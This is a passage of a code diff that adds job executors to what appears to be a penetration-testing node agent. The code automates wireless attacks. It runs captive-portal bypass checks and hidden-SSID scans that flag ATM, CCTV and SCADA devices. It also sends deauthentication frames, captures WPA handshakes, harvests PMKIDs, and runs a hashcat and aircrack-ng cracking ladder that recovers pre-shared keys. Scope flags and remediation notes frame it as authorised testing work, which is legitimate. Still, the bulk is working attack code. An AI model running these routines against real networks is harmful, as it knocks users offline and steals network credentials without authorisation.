+        findings.append({'test': 'direct_ip', 'result': 'bypass',
+                         'detail': 'Direct HTTPS to 1.1.1.1 returns 200 — portal bypassed via IP'})
+        buf.write('    [!] Direct HTTPS works — captive portal bypassable via IP\n')
+    else:
+        buf.write(f'    [OK] Direct IP blocked or redirected (code: {out.strip()})\n')
+    buf.flush()
+
+    # 3. HTTP redirect detection (portal fingerprint)
+    buf.write('[3/5] Detecting captive portal redirect...\n')
+    code, out = _run_quiet(['curl', '-sk', '--connect-timeout', '5',
+                             '-o', '/dev/null', '-w', '%{redirect_url}',
+                             '-L', '--max-redirs', '0',
+                             'http://detectportal.firefox.com/canonical.html'], timeout=10)
+    portal_url = out.strip() if out.strip() and 'http' in out else ''
+    if portal_url:
+        findings.append({'test': 'portal_detect', 'result': 'detected',
+                         'detail': f'Captive portal redirects to: {portal_url}'})
+        buf.write(f'    [*] Portal detected: {portal_url}\n')
+    else:
+        buf.write('    [*] No redirect detected (open or already authenticated)\n')
+    buf.flush()
+
+    # 4. Check for MAC-based session tracking
+    buf.write('[4/5] Checking current MAC address...\n')
+    _, mac_out = _run_quiet(['ip', 'link', 'show', iface])
+    current_mac = ''
+    for line in mac_out.splitlines():
+        m = re.search(r'link/ether ([0-9a-f:]{17})', line)
+        if m:
+            current_mac = m.group(1)
+            break
+    if current_mac:
+        buf.write(f'    MAC: {current_mac}\n')
+        buf.write('    [*] MAC rotation via macchanger can bypass MAC-based session limits\n')
+    buf.flush()
+
+    # 5. ICMP tunnel feasibility
+    buf.write('[5/5] Testing ICMP to external host...\n')
+    code, out = _run_quiet(['ping', '-c', '2', '-W', '3', '8.8.8.8'], timeout=10)
+    icmp_open = code == 0
+    if icmp_open:
+        findings.append({'test': 'icmp_tunnel', 'result': 'feasible',
+                         'detail': 'ICMP to external host works — ICMP tunnel feasible'})
+        buf.write('    [!] ICMP reaches external — tunnel bypass feasible\n')
+    else:
+        buf.write('    [OK] ICMP blocked\n')
+    buf.flush()
+
+    buf.write(f'\n[+] Captive portal test complete: {len(findings)} bypass vector(s) found\n')
+    buf.flush()
+
+    client.send_result(jid, {
+        'findings': findings,
+        'bypass_count': len(findings),
+        'portal_url': portal_url,
+        'current_mac': current_mac,
+        'ssid': ssid,
+    })
+
+
+def execute_capture(client: AegisNodeClient, job: dict):
+    """Packet capture using tcpdump (managed mode)."""
+    jid = job['job_id']
+    iface = job.get('parameters', {}).get('interface', 'wlan0')
+    duration = min(job.get('parameters', {}).get('duration', 60), 300)
+    buf = OutputBuffer(client, jid)
+
+    cap_path = f'/tmp/aegis_capture_{jid}.pcap'
+    buf.write(f'[*] Capturing on {iface} for {duration}s → {cap_path}\n')
+    code, out = _exec_cmd(buf,
+                          ['timeout', str(duration), 'tcpdump', '-i', iface, '-c', '10000',
+                           '-w', cap_path],
+                          timeout=duration + 30, sudo=True)
+    buf.write(f'[+] Capture complete: {cap_path}\n')
+    buf.flush()
+    client.send_result(jid, {'capture_path': cap_path, 'output': out[:5000]})
+
+
+# ── Job executors (P2: monitor-mode) ─────────────────────────────────────
+
+def execute_hidden_scan(client: AegisNodeClient, job: dict):
+    """Discover hidden networks using monitor mode + airodump-ng.
+
+    Hidden SSIDs (broadcast with empty ESSID) are common on ATMs, POS terminals,
+    bank branches, CCTV/NVR systems, SCADA/ICS, building management, and access
+    control. This scan:
+      1. Enters monitor mode
+      2. Runs airodump-ng to capture ALL beacons (including hidden)
+      3. Cross-references MACs against critical-infrastructure OUI database
+      4. Identifies connected clients whose probe requests may reveal the SSID
+      5. Optionally sends targeted deauth to force SSID disclosure (if scope allows)
+    """
+    jid = job['job_id']
+    params = job.get('parameters', {})
+    iface = params.get('interface', 'wlan0')
+    duration = min(params.get('duration', 30), 120)
+    channel = params.get('channel', '')
+    reveal_deauth = params.get('reveal_deauth', False)
+    buf = OutputBuffer(client, jid)
+    original_iface = iface
+
+    buf.write('=' * 60 + '\n')
+    buf.write('[*] HIDDEN NETWORK DISCOVERY SCAN\n')
+    buf.write(f'    Duration: {duration}s | Interface: {iface}\n')
+    buf.write('=' * 60 + '\n\n')
+
+    # Step 1: Enter monitor mode
+    mon_iface = _enter_monitor_mode(iface, buf)
+    if not mon_iface:
+        client.send_error(jid, 'Failed to enter monitor mode')
+        return
+
+    try:
+        # Step 2: Run airodump-ng
+        csv_prefix = f'/tmp/aegis_hidden_{jid}'
+        airodump_cmd = ['airodump-ng', mon_iface, '-w', csv_prefix, '--output-format', 'csv']
+        if channel:
+            airodump_cmd += ['-c', str(channel)]
+
+        buf.write(f'[*] Running airodump-ng for {duration}s (all channels)...\n')
+        buf.write('[*] Listening for hidden SSIDs, client probes, and beacon frames...\n\n')
+
+        proc = subprocess.Popen(
+            ['sudo'] + airodump_cmd if os.geteuid() != 0 else airodump_cmd,
+            stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
+        )
+        time.sleep(duration)
+        proc.terminate()
+        try:
+            proc.wait(timeout=10)
+        except subprocess.TimeoutExpired:
+            proc.kill()
+
+        # Step 3: Parse results
+        csv_file = csv_prefix + '-01.csv'
+        networks, clients = _parse_airodump_csv(csv_file)
+
+        # Separate hidden vs visible
+        hidden_nets = [n for n in networks if n['hidden']]
+        visible_nets = [n for n in networks if not n['hidden']]
+        infra_nets = [n for n in networks if n['critical_infra']]
+        infra_clients = [c for c in clients if c['critical_infra']]
+
+        buf.write(f'[+] Scan complete: {len(networks)} total networks\n')
+        buf.write(f'    Hidden SSIDs:                {len(hidden_nets)}\n')
+        buf.write(f'    Visible SSIDs:               {len(visible_nets)}\n')
+        buf.write(f'    Critical infrastructure:     {len(infra_nets)} networks, '
+                  f'{len(infra_clients)} clients\n')
+        buf.write(f'    Connected clients observed:  {len(clients)}\n\n')
+
+        # Step 4: Report hidden networks with vendor classification
+        if hidden_nets:
+            buf.write('─' * 60 + '\n')
+            buf.write('[!] HIDDEN NETWORKS DISCOVERED\n')
+            buf.write('─' * 60 + '\n')
+            for i, net in enumerate(hidden_nets, 1):
+                vendor = net['vendor'] or _oui_lookup(net['bssid'])
+                buf.write(f'\n  [{i}] BSSID: {net["bssid"]}\n')
+                buf.write(f'      Channel: {net["channel"]}  |  '
+                          f'Power: {net["power_dbm"]} dBm  |  '
+                          f'Encryption: {net["encryption"]}\n')
+                if vendor:
+                    buf.write(f'      [!!] VENDOR: {vendor}\n')
+                    buf.write(f'           ⚠ Likely critical infrastructure device\n')
+                else:
+                    buf.write(f'      Vendor: Unknown (OUI {net["bssid"][:8]})\n')
+
+                # Find connected clients for this hidden AP
+                ap_clients = [c for c in clients if c['bssid'] == net['bssid']]
+                if ap_clients:
+                    buf.write(f'      Connected clients: {len(ap_clients)}\n')
+                    for cl in ap_clients[:10]:
+                        cl_vendor = cl['vendor'] or ''
+                        probed = cl.get('probed_ssids', '')
+                        buf.write(f'        → {cl["station_mac"]}')
+                        if cl_vendor:
+                            buf.write(f'  [{cl_vendor}]')
+                        if probed:
+                            buf.write(f'  probed: {probed}')
+                        buf.write('\n')
+            buf.write('\n')
+            buf.flush()
+
+        # Step 5: Report ALL critical infrastructure devices (hidden or not)
+        if infra_nets:
+            buf.write('─' * 60 + '\n')
+            buf.write('[!] CRITICAL INFRASTRUCTURE DEVICES ON WiFi\n')
+            buf.write('─' * 60 + '\n')
+            for net in infra_nets:
+                hidden_tag = ' [HIDDEN]' if net['hidden'] else ''
+                buf.write(f'  {net["bssid"]}  {net["vendor"]:<35s}  '
+                          f'ch{net["channel"]:>3s}  {net["encryption"]:<8s}  '
+                          f'{net["ssid"]}{hidden_tag}\n')
+            buf.write('\n')
+
+        if infra_clients:
+            buf.write('[!] Critical infra client devices:\n')
+            for cl in infra_clients:
+                buf.write(f'  {cl["station_mac"]}  {cl["vendor"]:<35s}  '
+                          f'→ AP {cl["bssid"]}\n')
+            buf.write('\n')
+            buf.flush()
+
+        # Step 6: Attempt SSID reveal via targeted deauth (if allowed)
+        revealed = {}
+        if reveal_deauth and hidden_nets:
+            buf.write('─' * 60 + '\n')
+            buf.write('[*] SSID REVEAL — targeted deauth (scope-approved)\n')
+            buf.write('─' * 60 + '\n')
+            for net in hidden_nets[:5]:
+                ap_clients = [c for c in clients if c['bssid'] == net['bssid']]
+                if not ap_clients:
+                    buf.write(f'  {net["bssid"]}: no clients to deauth, skipping\n')
+                    continue
+
+                target_client = ap_clients[0]['station_mac']
+                buf.write(f'  {net["bssid"]}: deauthing {target_client}...\n')
+
+                # Send 3 deauth frames
+                _run_quiet(['aireplay-ng', '--deauth', '3', '-a', net['bssid'],
+                            '-c', target_client, mon_iface], timeout=10, sudo=True)
+                time.sleep(3)
+
+                # Re-scan briefly to catch the probe response
+                reveal_prefix = f'/tmp/aegis_reveal_{jid}_{net["bssid"].replace(":", "")}'
+                reveal_proc = subprocess.Popen(
+                    (['sudo'] if os.geteuid() != 0 else []) +
+                    ['airodump-ng', mon_iface, '-w', reveal_prefix,
+                     '--output-format', 'csv', '-c', net['channel'] or '1',
+                     '--bssid', net['bssid']],
+                    stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
+                )
+                time.sleep(8)
+                reveal_proc.terminate()
+                try:
+                    reveal_proc.wait(timeout=5)
+                except subprocess.TimeoutExpired:
+                    reveal_proc.kill()
+
+                reveal_csv = reveal_prefix + '-01.csv'
+                reveal_nets, _ = _parse_airodump_csv(reveal_csv)
+                for rn in reveal_nets:
+                    if rn['bssid'] == net['bssid'] and rn['ssid']:
+                        revealed[net['bssid']] = rn['ssid']
+                        buf.write(f'  [!!] REVEALED: {net["bssid"]} → "{rn["ssid"]}"\n')
+                        break
+                else:
+                    buf.write(f'  {net["bssid"]}: SSID still hidden after deauth\n')
+
+            buf.write('\n')
+            buf.flush()
+
+        # Step 7: Impact assessment
+        buf.write('─' * 60 + '\n')
+        buf.write('[*] SECURITY IMPACT ASSESSMENT\n')
+        buf.write('─' * 60 + '\n')
+
+        risk_findings = []
+        for net in hidden_nets:
+            finding = {
+                'bssid': net['bssid'],
+                'channel': net['channel'],
+                'power_dbm': net['power_dbm'],
+                'encryption': net['encryption'],
+                'vendor': net['vendor'],
+                'critical_infra': net['critical_infra'],
+                'revealed_ssid': revealed.get(net['bssid'], ''),
+                'connected_clients': len([c for c in clients if c['bssid'] == net['bssid']]),
+            }
+            risk = 'INFO'
+            if net['critical_infra']:
+                risk = 'CRITICAL'
+            elif net['encryption'] in ('', 'Open', 'OPN', 'WEP'):
+                risk = 'HIGH'
+            elif finding['connected_clients'] > 0:
+                risk = 'MEDIUM'
+            finding['risk'] = risk
+            risk_findings.append(finding)
+
+            buf.write(f'  [{risk}] {net["bssid"]}')
+            if finding['revealed_ssid']:
+                buf.write(f' "{finding["revealed_ssid"]}"')
+            if net['vendor']:
+                buf.write(f' ({net["vendor"]})')
+            buf.write('\n')
+            if risk == 'CRITICAL':
+                buf.write(f'         ⚠ Critical infrastructure on hidden WiFi — '
+                          f'SSID hiding provides no security, trivially discovered\n')
+            elif risk == 'HIGH':
+                buf.write(f'         ⚠ Hidden + weak/no encryption — immediate risk\n')
+        buf.write('\n')
+
+        if hidden_nets:
+            buf.write('[*] Remediation:\n')
+            buf.write('    • Hidden SSIDs provide ZERO security — they are trivially '
+                      'discovered via monitor mode\n')
+            buf.write('    • Critical infrastructure (ATM/CCTV/SCADA/POS) should use '
+                      'WPA3-Enterprise + RADIUS + MAC filtering + WIDS\n')
+            buf.write('    • Segment IoT/CCTV onto isolated VLANs with no internet egress\n')
+            buf.write('    • Deploy Wireless IDS (WIDS) to detect unauthorized scanning\n')
+            buf.write('    • Consider wired connections for critical infrastructure\n')
+        buf.flush()
+
+        # Cleanup temp files
+        for suffix in ['-01.csv', '-01.cap', '-01.kismet.csv', '-01.kismet.netxml',
+                       '-01.log.csv']:
+            try:
+                os.remove(csv_prefix + suffix)
+            except FileNotFoundError:
+                pass
+
+        client.send_result(jid, {
+            'total_networks': len(networks),
+            'hidden_networks': len(hidden_nets),
+            'critical_infra_networks': len(infra_nets),
+            'critical_infra_clients': len(infra_clients),
+            'hidden_findings': risk_findings,
+            'revealed_ssids': revealed,
+            'visible_networks': [{'bssid': n['bssid'], 'ssid': n['ssid'],
+                                  'channel': n['channel'], 'encryption': n['encryption'],
+                                  'vendor': n['vendor']} for n in visible_nets[:100]],
+            'scan_duration_s': duration,
+        })
+
+    finally:
+        _exit_monitor_mode(mon_iface, original_iface, buf)
+
+
+def execute_handshake_capture(client: AegisNodeClient, job: dict):
+    """Capture WPA/WPA2 4-way handshake for offline cracking.
+
+    Monitors the target AP's channel, optionally sends deauth to force
+    reconnection, and captures the EAPOL handshake frames.
+    """
+    jid = job['job_id']
+    targets = job.get('targets', {})
+    target_bssid = targets.get('bssid', '')
+    target_channel = str(targets.get('channel', ''))
+    params = job.get('parameters', {})
+    iface = params.get('interface', 'wlan0')
+    duration = min(params.get('duration', 60), 300)
+    send_deauth = params.get('deauth', True)
+    deauth_count = min(params.get('deauth_count', 5), 20)
+    buf = OutputBuffer(client, jid)
+    original_iface = iface
+
+    if not target_bssid:
+        client.send_error(jid, 'No target BSSID specified')
+        return
+
+    buf.write('=' * 60 + '\n')
+    buf.write('[*] WPA HANDSHAKE CAPTURE\n')
+    buf.write(f'    Target: {target_bssid}  Channel: {target_channel or "auto"}\n')
+    buf.write(f'    Duration: {duration}s  Deauth: {"yes" if send_deauth else "no"}\n')
+    buf.write('=' * 60 + '\n\n')
+
+    mon_iface = _enter_monitor_mode(iface, buf)
+    if not mon_iface:
+        client.send_error(jid, 'Failed to enter monitor mode')
+        return
+
+    try:
+        cap_prefix = f'/tmp/aegis_hs_{jid}'
+        airodump_cmd = ['airodump-ng', mon_iface, '-w', cap_prefix,
+                        '--output-format', 'cap,csv', '--bssid', target_bssid]
+        if target_channel:
+            airodump_cmd += ['-c', target_channel]
+
+        buf.write('[*] Starting targeted capture...\n')
+        airodump_proc = subprocess.Popen(
+            (['sudo'] if os.geteuid() != 0 else []) + airodump_cmd,
+            stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
+        )
+        time.sleep(5)
+
+        # Send deauth to force reconnection
+        if send_deauth:
+            buf.write(f'[*] Sending {deauth_count} deauth frames to {target_bssid}...\n')
+            deauth_cmd = ['aireplay-ng', '--deauth', str(deauth_count),
+                          '-a', target_bssid, mon_iface]
+            code, out = _exec_cmd(buf, deauth_cmd, timeout=30, sudo=True)
+            if code == 0:
+                buf.write('[+] Deauth sent — waiting for client reconnection...\n')
+            else:
+                buf.write(f'[-] Deauth failed (exit {code}), continuing passive capture...\n')
+
+        remaining = max(duration - 5, 10)
+        buf.write(f'[*] Capturing for {remaining}s more...\n')
+        time.sleep(remaining)
+        airodump_proc.terminate()
+        try:
+            airodump_proc.wait(timeout=10)
+        except subprocess.TimeoutExpired:
+            airodump_proc.kill()
+
+        # Check for handshake in cap file
+        cap_file = cap_prefix + '-01.cap'
+        handshake_found = False
+
+        if os.path.exists(cap_file):
+            code, out = _run_quiet(['aircrack-ng', cap_file], timeout=15)
+            handshake_found = 'handshake' in out.lower() or '1 handshake' in out.lower()
+            if handshake_found:
+                buf.write(f'\n[+] ✓ HANDSHAKE CAPTURED for {target_bssid}\n')
+                buf.write(f'    File: {cap_file}\n')
+                buf.write('    This can be cracked offline with hashcat/aircrack-ng\n')
+            else:
+                buf.write(f'\n[-] No handshake captured in {duration}s\n')
+                buf.write('    Try: longer duration, closer proximity, or wait for '
+                          'client activity\n')
+        else:
+            buf.write('[-] No capture file generated\n')
+        buf.flush()
+
+        client.send_result(jid, {
+            'target_bssid': target_bssid,
+            'handshake_captured': handshake_found,
+            'capture_file': cap_file if os.path.exists(cap_file) else '',
+            'deauth_sent': send_deauth,
+            'duration_s': duration,
+        })
+
+    finally:
+        _exit_monitor_mode(mon_iface, original_iface, buf)
+
+
+def execute_pmkid_harvest(client: AegisNodeClient, job: dict):
+    """Harvest PMKID from AP without needing a connected client.
+
+    Uses hcxdumptool to request PMKID from the target AP. This is a clientless
+    attack — works even when no clients are connected, making it ideal for
+    hidden/isolated networks (ATMs, CCTV, etc.).
+    """
+    jid = job['job_id']
+    targets = job.get('targets', {})
+    target_bssid = targets.get('bssid', '')
+    params = job.get('parameters', {})
+    iface = params.get('interface', 'wlan0')
+    duration = min(params.get('duration', 60), 180)
+    buf = OutputBuffer(client, jid)
+    original_iface = iface
+
+    buf.write('=' * 60 + '\n')
+    buf.write('[*] PMKID HARVEST (clientless attack)\n')
+    if target_bssid:
+        buf.write(f'    Target: {target_bssid}\n')
+    buf.write(f'    Duration: {duration}s | Interface: {iface}\n')
+    buf.write('=' * 60 + '\n\n')
+
+    # Check for hcxdumptool
+    code, _ = _run_quiet(['which', 'hcxdumptool'])
+    use_hcxdumptool = code == 0
+    code_hcxpcap, _ = _run_quiet(['which', 'hcxpcapngtool'])
+    has_hcxpcapngtool = code_hcxpcap == 0
+
+    if not use_hcxdumptool:
+        buf.write('[!] hcxdumptool not found — falling back to hcxtools method\n')
+        # Alternative: use airodump + wpa_supplicant PMKID grab
+        code, _ = _run_quiet(['which', 'airodump-ng'])
+        if code != 0:
+            client.send_error(jid, 'Neither hcxdumptool nor airodump-ng available')
+            return
+
+    mon_iface = _enter_monitor_mode(iface, buf)
+    if not mon_iface:
+        client.send_error(jid, 'Failed to enter monitor mode')
+        return
+
+    try:
+        pcapng_path = f'/tmp/aegis_pmkid_{jid}.pcapng'
+        pmkid_count = 0
+
+        if use_hcxdumptool:
+            # hcxdumptool sends Association Requests to solicit PMKID
+            hcx_cmd = ['hcxdumptool', '-i', mon_iface, '-o', pcapng_path,
+                       '--enable_status=1']
+            if target_bssid:
+                filterlist = f'/tmp/aegis_pmkid_filter_{jid}.txt'
+                with open(filterlist, 'w') as f:
+                    f.write(target_bssid.replace(':', '').lower() + '\n')
+                hcx_cmd += ['--filterlist_ap=' + filterlist, '--filtermode=2']
+
+            buf.write(f'[*] Running hcxdumptool for {duration}s...\n')
+            buf.write('[*] Sending association requests to solicit PMKID...\n')
+            proc = subprocess.Popen(
+                (['sudo'] if os.geteuid() != 0 else []) + hcx_cmd,
+                stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,
+            )
+
+            start = time.time()
+            while time.time() - start < duration and RUNNING:
+                line = ''
+                try:
+                    line = proc.stdout.readline()
+                except Exception:
+                    break
+                if line:
+                    buf.write(line)
+                    if 'pmkid' in line.lower() or 'PMKID' in line:
+                        pmkid_count += 1
+                if proc.poll() is not None:
+                    break
+
+            proc.terminate()
+            try:
+                proc.wait(timeout=10)
+            except subprocess.TimeoutExpired:
+                proc.kill()
+
+            # Convert to hashcat format
+            if has_hcxpcapngtool and os.path.exists(pcapng_path):
+                hash_file = f'/tmp/aegis_pmkid_{jid}.22000'
+                code, out = _run_quiet(['hcxpcapngtool', '-o', hash_file, pcapng_path],
+                                       timeout=30)
+                if code == 0 and os.path.exists(hash_file):
+                    with open(hash_file) as f:
+                        pmkid_count = sum(1 for line in f if line.strip())
+                    buf.write(f'\n[+] Extracted {pmkid_count} PMKID hash(es) → {hash_file}\n')
+                    buf.write('    Crack with: hashcat -m 22000 -a 0 '
+                              f'{hash_file} wordlist.txt\n')
+                else:
+                    buf.write('\n[-] No PMKID extracted from capture\n')
+        else:
+            # Fallback: airodump passive capture for EAPOL/PMKID
+            buf.write('[*] Passive PMKID capture via airodump-ng...\n')
+            cap_prefix = f'/tmp/aegis_pmkid_{jid}'
+            airodump_cmd = ['airodump-ng', mon_iface, '-w', cap_prefix,
+                            '--output-format', 'cap']
+            if target_bssid:
+                airodump_cmd += ['--bssid', target_bssid]
+            proc = subprocess.Popen(
+                (['sudo'] if os.geteuid() != 0 else []) + airodump_cmd,
+                stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
+            )
+            time.sleep(duration)
+            proc.terminate()
+            try:
+                proc.wait(timeout=10)
+            except subprocess.TimeoutExpired:
+                proc.kill()
+
+            cap_file = cap_prefix + '-01.cap'
+            if has_hcxpcapngtool and os.path.exists(cap_file):
+                hash_file = f'/tmp/aegis_pmkid_{jid}.22000'
+                code, _ = _run_quiet(['hcxpcapngtool', '-o', hash_file, cap_file],
+                                     timeout=30)
+                if code == 0 and os.path.exists(hash_file):
+                    with open(hash_file) as f:
+                        pmkid_count = sum(1 for line in f if line.strip())
+                    buf.write(f'\n[+] Extracted {pmkid_count} PMKID hash(es)\n')
+            pcapng_path = cap_file
+
+        vendor = _oui_lookup(target_bssid) if target_bssid else ''
+        if vendor:
+            buf.write(f'\n[*] Target vendor: {vendor}\n')
+            buf.write('    ⚠ PMKID from critical infrastructure = PSK reuse risk\n')
+
+        if pmkid_count > 0:
+            buf.write(f'\n[+] {pmkid_count} PMKID(s) harvested — offline cracking possible\n')
+        else:
+            buf.write('\n[-] No PMKID obtained — AP may not support PMKID or uses WPA3-SAE\n')
+        buf.flush()
+
+        client.send_result(jid, {
+            'target_bssid': target_bssid,
+            'pmkid_count': pmkid_count,
+            'capture_file': pcapng_path if os.path.exists(pcapng_path) else '',
+            'vendor': vendor,
+            'duration_s': duration,
+        })
+
+    finally:
+        _exit_monitor_mode(mon_iface, original_iface, buf)
+
+
+def execute_deauth_capture(client: AegisNodeClient, job: dict):
+    """Deauth + capture: disconnect clients and capture reconnection traffic.
+
+    This is the aggressive variant — sends sustained deauth frames to a target AP.
+    Requires explicit scope authorization (wireless_deauth_allowed).
+    """
+    jid = job['job_id']
+    targets = job.get('targets', {})
+    target_bssid = targets.get('bssid', '')
+    target_client = targets.get('client_mac', '')
+    params = job.get('parameters', {})
+    iface = params.get('interface', 'wlan0')
+    duration = min(params.get('duration', 30), 120)
+    deauth_count = min(params.get('deauth_count', 10), 50)
+    buf = OutputBuffer(client, jid)
+    original_iface = iface
+
+    if not target_bssid:
+        client.send_error(jid, 'No target BSSID specified')
+        return
+
+    buf.write('=' * 60 + '\n')
+    buf.write('[*] DEAUTH + CAPTURE (scope-authorized)\n')
+    buf.write(f'    AP: {target_bssid}\n')
+    if target_client:
+        buf.write(f'    Client: {target_client}\n')
+    else:
+        buf.write('    Client: broadcast (all clients)\n')
+    buf.write(f'    Deauth frames: {deauth_count}  Duration: {duration}s\n')
+    buf.write('=' * 60 + '\n\n')
+
+    mon_iface = _enter_monitor_mode(iface, buf)
+    if not mon_iface:
+        client.send_error(jid, 'Failed to enter monitor mode')
+        return
+
+    try:
+        # Start capture in background
+        cap_prefix = f'/tmp/aegis_deauth_{jid}'
+        channel = str(targets.get('channel', ''))
+        airodump_cmd = ['airodump-ng', mon_iface, '-w', cap_prefix,
+                        '--output-format', 'cap', '--bssid', target_bssid]
+        if channel:
+            airodump_cmd += ['-c', channel]
+
+        buf.write('[*] Starting background capture...\n')
+        capture_proc = subprocess.Popen(
+            (['sudo'] if os.geteuid() != 0 else []) + airodump_cmd,
+            stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
+        )
+        time.sleep(3)
+
+        # Send deauth
+        deauth_cmd = ['aireplay-ng', '--deauth', str(deauth_count), '-a', target_bssid]
+        if target_client:
+            deauth_cmd += ['-c', target_client]
+        deauth_cmd.append(mon_iface)
+
+        buf.write(f'[*] Sending {deauth_count} deauth frames...\n')
+        code, out = _exec_cmd(buf, deauth_cmd, timeout=60, sudo=True)
+
+        remaining = max(duration - 10, 5)
+        buf.write(f'[*] Capturing reconnection traffic for {remaining}s...\n')
+        time.sleep(remaining)
+
+        capture_proc.terminate()
+        try:
+            capture_proc.wait(timeout=10)
+        except subprocess.TimeoutExpired:
+            capture_proc.kill()
+
+        cap_file = cap_prefix + '-01.cap'
+        handshake_found = False
+        if os.path.exists(cap_file):
+            code, check = _run_quiet(['aircrack-ng', cap_file], timeout=15)
+            handshake_found = 'handshake' in check.lower()
+            if handshake_found:
+                buf.write(f'\n[+] ✓ HANDSHAKE CAPTURED via deauth\n')
+                buf.write(f'    File: {cap_file}\n')
+            else:
+                buf.write('\n[-] No handshake in captured traffic\n')
+        buf.flush()
+
+        client.send_result(jid, {
+            'target_bssid': target_bssid,
+            'target_client': target_client or 'broadcast',
+            'deauth_count': deauth_count,
+            'handshake_captured': handshake_found,
+            'capture_file': cap_file if os.path.exists(cap_file) else '',
+        })
+
+    finally:
+        _exit_monitor_mode(mon_iface, original_iface, buf)
+
+
+# ── Job executors (P3: crack + report) ───────────────────────────────────
+
+# Attack ladder: cheapest first. Most real-world PSKs fall to one of these.
+CRACK_ATTACKS = [
+    ('rockyou', '-a 0', '/usr/share/wordlists/rockyou.txt'),
+    ('digits-8', '-a 3', '?d?d?d?d?d?d?d?d'),
+    ('digits-10', '-a 3', '?d?d?d?d?d?d?d?d?d?d'),
+    ('lower-8', '-a 3', '?l?l?l?l?l?l?l?l'),
+]
+
+
+def _parse_potfile(path: str) -> list[dict]:
+    """Parse hashcat .potfile into [{network_id, psk}]."""
+    creds = []
+    try:
+        with open(path) as f:
+            for line in f:
+                line = line.strip()
+                if not line or line.startswith('#'):
+                    continue
+                # Format: hash:password or WPA*...:password
+                parts = line.rsplit(':', 1)
+                if len(parts) == 2:
+                    creds.append({
+                        'hash_prefix': parts[0][:60],
+                        'psk': parts[1],
+                    })
+    except FileNotFoundError:
+        pass
+    return creds
+
+
+def execute_crack(client: AegisNodeClient, job: dict):
+    """Offline PSK cracking of captured handshakes/PMKIDs.
+
+    Takes a hash file (hashcat mode 22000) and runs the attack ladder.
+    The agent runs on the operator's Kali machine, so hashcat/aircrack-ng
+    execute directly (no Docker needed).
+    """
+    jid = job['job_id']
+    targets = job.get('targets', {})
+    hash_file = targets.get('hash_file', '')
+    capture_file = targets.get('capture_file', '')
+    params = job.get('parameters', {})
+    custom_wordlist = params.get('wordlist', '')
+    buf = OutputBuffer(client, jid)
+
+    buf.write('=' * 60 + '\n')
+    buf.write('[*] OFFLINE PSK CRACK\n')
+    buf.write('=' * 60 + '\n\n')
+
+    # Step 1: Resolve or convert to hashcat 22000 format
+    if hash_file and os.path.exists(hash_file):
+        buf.write(f'[*] Using existing hash file: {hash_file}\n')
+    elif capture_file and os.path.exists(capture_file):
+        buf.write(f'[*] Converting capture to hashcat format...\n')
+        hash_file = capture_file.rsplit('.', 1)[0] + '.22000'
+        code, out = _run_quiet(['hcxpcapngtool', '-o', hash_file, capture_file], timeout=60)
+        if code != 0 or not os.path.exists(hash_file):
+            # Fallback: try aircrack-ng directly
+            buf.write('[-] hcxpcapngtool failed, will try aircrack-ng path\n')
+            hash_file = ''
+    else:
+        client.send_error(jid, 'No hash_file or capture_file specified')
+        return
+
+    attempts = []
+    cracked = False
+    credentials = []
+    potfile = f'/tmp/aegis_crack_{jid}.pot'
+
+    # Step 2: Try hashcat if we have a .22000 file
+    if hash_file and os.path.exists(hash_file):
+        # Check for hashcat
+        has_hashcat, _ = _run_quiet(['which', 'hashcat'])
+
+        if has_hashcat == 0:
+            ladder = list(CRACK_ATTACKS)
+            if custom_wordlist and os.path.exists(custom_wordlist):
+                ladder.insert(0, ('custom-wordlist', '-a 0', custom_wordlist))
+
+            # Check if rockyou exists, skip if not
+            ladder = [(l, m, w) for l, m, w in ladder
+                      if not w.startswith('/') or os.path.exists(w)]
+
+            for label, mode, mask_or_wl in ladder:
+                if cracked:
+                    break
+                buf.write(f'\n[*] Attack: {label} ({mode} {mask_or_wl})\n')
+                cmd = ['hashcat', '-m', '22000', mode, '-D', '1',
+                       '--potfile-path', potfile, '--quiet',
+                       hash_file, mask_or_wl]
+                code, out = _exec_cmd(buf, cmd, timeout=3600, sudo=False)
+                attempts.append({
+                    'attack': label, 'mode': mode,
+                    'result': 'ran' if code in (0, 1) else f'exit-{code}',
+                    'output': out[-500:] if out else '',
+                })
+
+                # Check potfile
+                creds = _parse_potfile(potfile)
+                if creds:
+                    cracked = True
+                    credentials = creds
+                    buf.write(f'\n[+] ✓ PSK RECOVERED via {label}!\n')
+                    for c in creds:
+                        buf.write(f'    PSK: {c["psk"]}\n')
+                    break
+                else:
+                    buf.write(f'    [-] No crack with {label}\n')
+        else:
+            buf.write('[!] hashcat not available\n')
+
+    # Step 3: Fallback to aircrack-ng for .cap files
+    if not cracked and capture_file and os.path.exists(capture_file):
+        has_aircrack, _ = _run_quiet(['which', 'aircrack-ng'])
+        if has_aircrack == 0:
+            wordlists = ['/usr/share/wordlists/rockyou.txt']
+            if custom_wordlist and os.path.exists(custom_wordlist):
+                wordlists.insert(0, custom_wordlist)
+
+            for wl in wordlists:
+                if not os.path.exists(wl):
+                    continue
+                buf.write(f'\n[*] aircrack-ng with {os.path.basename(wl)}...\n')
+                code, out = _exec_cmd(buf, ['aircrack-ng', '-w', wl, capture_file],
+                                       timeout=3600)
+                attempts.append({
+                    'attack': f'aircrack-{os.path.basename(wl)}',
+                    'result': 'ran',
+                    'output': out[-500:] if out else '',
+                })
+
+                if 'KEY FOUND!' in out:
+                    cracked = True
+                    m = re.search(r'KEY FOUND!\s*\[\s*(.+?)\s*\]', out)
+                    if m:
+                        credentials.append({'psk': m.group(1), 'hash_prefix': ''})
+                    buf.write(f'\n[+] ✓ PSK RECOVERED!\n')
+                    if m:
+                        buf.write(f'    PSK: {m.group(1)}\n')
+                    break
+
+    buf.write('\n' + '=' * 60 + '\n')
+    if cracked:
+        buf.write('[+] CRACK SUCCESSFUL — PSK recovered\n')
+        buf.write('[*] This is the proof-of-compromise finding.\n')
+        buf.write('[*] Remediation: rotate the PSK immediately, enforce\n')
+        buf.write('    WPA3-SAE where supported, use 20+ char passphrases\n')
+    else:
+        buf.write('[-] All attacks exhausted — PSK not recovered\n')
+        buf.write('[*] Try a targeted wordlist or longer brute-force session\n')
+    buf.write('=' * 60 + '\n')
+    buf.flush()
+
+    client.send_result(jid, {
+        'cracked': cracked,
+        'credentials': credentials,
+        'attempts': attempts,
+        'hash_file': hash_file or '',
